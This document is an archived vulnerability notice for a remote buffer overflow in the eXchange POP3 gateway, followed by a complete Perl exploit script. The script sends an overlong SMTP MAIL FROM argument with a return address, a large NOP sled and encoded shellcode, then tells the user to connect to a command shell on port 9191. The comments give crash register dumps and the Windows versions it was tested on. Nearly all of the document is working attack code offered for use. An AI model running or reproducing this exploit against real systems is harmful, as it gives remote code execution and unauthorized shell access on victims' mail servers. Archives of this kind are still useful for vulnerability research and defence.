source: https://www.securityfocus.com/bid/10180/info

It has been reported that Exchange POP3 e-mail gateway is prone to a remote buffer overflow vulnerability that may allow an attacker to execute arbitrary code on a vulnerable system. This issue could allow an attacker to gain unauthorized access in the context of the affected process.

#!/usr/bin/perl -w

#Exchange pop3 Remote Exploit
#eXchange POP3 is a gateway (connector) that downloads messages from Internet mailboxes
#using the POP3 or IMAP protocol. It then determines the proper recipient(s) for each message
#and sends them to Exchange Server using the SMTP protocol.
#eXchange POP3 can also receive Internet-bound messages from Exchange Server and relay them to
#the Internet. (www.exchangepop3.com )
#by sending a buffer 1025 byte we have:
#telnet target 25
#220 xwcf ESMTP
#mail from:<< "A"x1019  server is down
#registres:
#eax=00000000  ebx=00000000 ecx=61616161 edx=77f733b4
#esi=00000000  edi=00000000   esp=01ebf0d0 ebp=01ebf0f0
#eip=61616161
# the other problem lies in the fact that esp does not point at the beginning of our buffer,
# I chose another  approach, and to seek in another zone memory.
# the ret address can be modified as well as the size of the buffer by using windbg.
# the exploit was tested on xp sp1 win2000 by using different shellcodes, the size of shellcode
# does not have any effect, for the nop 528999 is the minimal size which I could find to fall on ret
# address, you can also modify this value...
# this exploit is used for test only and I am not to in no case responsible for what you can do.
#greez: simo,abder,marocit,#crack.fr

use Net::SMTP;
$remote=$ARGV[0];
$buffer = "A"x1015;
$ret ="\x80\x1d\xdc\x02";# Another memory zone
$nop ="\x90"x1999999;
$shellcode =          "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
                      "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
                      "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
                      "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
                      "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
                      "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
                      "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
                      "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
                      "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
                      "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
                      "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
                      "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
                      "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
                      "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
                      "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
                      "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
                      "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
                      "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
                      "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
                      "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
                      "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
                      "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
                      "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
                      "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
                      "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
                      "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
                      "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
                      "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
                      "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
                      "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
                      "\xD3\x4A\x8C\x88";
if (not $ARGV[0]) {
        print qq~
        Usage: Exch.pl <host>
        ~;
        exit;}
print "+++++++++++++++++++++++\n\n";
        print "Exchange pop3 exploit \n\n";
        print "Discovered by securma massine \n\n";
        print "securma\@caramail.com \n\n";
        print "+++++++++++++++++++++++\n\n";

$smtp = Net::SMTP->new($remote);
$smtp->mail($buffer . $ret . $nop . $shellcode);
print "\nNow telnet to your cmd shell port 9191 \n";